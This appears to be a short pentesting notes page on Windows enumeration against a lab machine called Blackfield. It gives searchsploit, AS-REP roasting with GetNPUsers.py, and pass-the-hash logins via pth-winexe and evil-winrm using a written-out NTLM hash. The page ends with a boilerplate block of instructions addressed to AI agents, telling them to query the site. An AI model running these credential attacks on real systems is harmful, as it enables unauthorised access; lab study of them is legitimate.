# 04 Windows Enum & Exploit

## ExpolitDB

searchsploit -m 48431

```
searchsploit -m 48431

```

## User Enum

When you get a possible user list, using the GetNPUsers.py to get the correct user list with the NTML hash. After that, using the command ["pth-winexe](https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/)","[evil-winrm](https://www.hackingarticles.in/evil-winrm-winrm-pentesting-framework/)" will the  NTML hash to log in to the windows system.

```
python3 GetNPUsers.py blackfield.local/ -usersfile profiles.txt -outputfile hash.txt -dc-ip 10.10.10.192 -format john
```

```
# Method 1
pth-winexe -U svc_backup%aad3b435b51404eeaad3b435b51404ee:b624dc83a27cc29da11d9bf25efea796 //10.10.10.192 cmd

# Method 2
evil-winrm -U svc_backup -H aad3b435b51404eeaad3b435b51404ee:b624dc83a27cc29da11d9bf25efea796  -i  10.10.10.192
```

&#x20;

{% content-ref url="/pages/-MHfYA7XnLAsZg\_FqnPF" %}
[04 Windows Enum & Exploit](/calvin-lai-security/tools/04-windows-enum-and-exploit.md)
{% endcontent-ref %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://calvin-lai.gitbook.io/calvin-lai-security/tools/04-windows-enum-and-exploit.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
